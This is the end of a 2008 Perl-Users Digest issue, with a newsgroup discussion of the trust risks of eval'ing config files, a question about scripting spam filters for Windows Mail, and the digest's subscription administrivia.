> actual damage occurs is the "eval" statement, not the reading of the file
> or opening the file.
Xho's point was that if the evildoer has control of the content of the
script he can do exactly the same and that there is little reason to
assume that the config file is more prone to tampering by an evildoer
than the script itself if both are read from the same source.
To be more precise, there are three entities involved:
A) Who controls the contents of the script
B) Who controls the contents of the config file
C) Who runs the script.
In the case of the eval'd config file, C has to trust both A and B.
In the case where the config file is not eval'd, C has to trust only A
(well, that's simplified - depending on the function of the script,
running it with a completely unverified config file may still be
extremely dangerous).
This is undoubtedly an improvement, but only in the case where C trusts
A but not B. I think the other case (C trusts B (for the simple reason
that C *is* B), but not A) is more frequent.
hp
------------------------------
Date: Tue, 29 Apr 2008 10:47:08 +0100
From: "DaveN" <DaveN@DaveN.COM>
Subject: Re: Windows mail.
Message-Id: <y8CRj.19702$Yy6.1815@newsfe11.ams2>
"l v" <veatchla@yahoo.com> wrote in message
news:NcGdnW-51_ewEovVnZ2dnUVZ_hadnZ2d@supernews.com...
> DaveN wrote:
>> Hi.
>>
>> Does anyone have example scripts to work with Windows Mail and in
>> particular
>> with usenet groups? I want to build a spam filter to run on all the
>> groups
>> I am subscribed to.
>>
> Don't write your own when one already exists.
>
> http://www.nfilter.org/
>
> --
>
> Len
Tried that, struggled to get it to work. Maybe not compatible with Vista!
:-(
--
DaveN
------------------------------
Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>
Administrivia:
#The Perl-Users Digest is a retransmission of the USENET newsgroup
#comp.lang.perl.misc. For subscription or unsubscription requests, send
#the single line:
#
# subscribe perl-users
#or:
# unsubscribe perl-users
#
#to almanac@ruby.oce.orst.edu.
NOTE: due to the current flood of worm email banging on ruby, the smtp
server on ruby has been shut off until further notice.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
#To request back copies (available for a week or so), send your request
#to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
#where x is the volume number and y is the issue number.
#For other requests pertaining to the digest, send mail to
#perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
#sending perl questions to the -request address, I don't have time to
#answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V11 Issue 1492
***************************************
